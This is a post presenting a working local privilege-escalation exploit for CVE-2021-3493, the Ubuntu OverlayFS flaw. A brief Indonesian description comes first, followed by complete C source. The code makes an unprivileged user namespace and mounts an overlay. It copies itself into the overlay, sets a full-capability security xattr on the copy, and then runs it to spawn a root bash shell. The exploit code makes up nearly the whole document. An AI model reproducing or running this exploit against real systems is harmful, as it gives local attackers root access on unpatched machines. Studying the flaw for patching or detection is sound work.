[CVE-2021-3493] Ubuntu LPE OverlayFS PE Exploit

Masalah khusus Ubuntu dalam sistem file overlayfs di kernel Linux yang tidak memvalidasi aplikasi kapabilitas sistem file dengan benar sehubungan dengan ruang nama pengguna. Penyerang lokal dapat menggunakan ini untuk mendapatkan hak istimewa yang lebih tinggi, karena tambalan yang dilakukan di Ubuntu untuk memungkinkan pemasangan overlay tanpa hak istimewa.

Exploit Code:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

 

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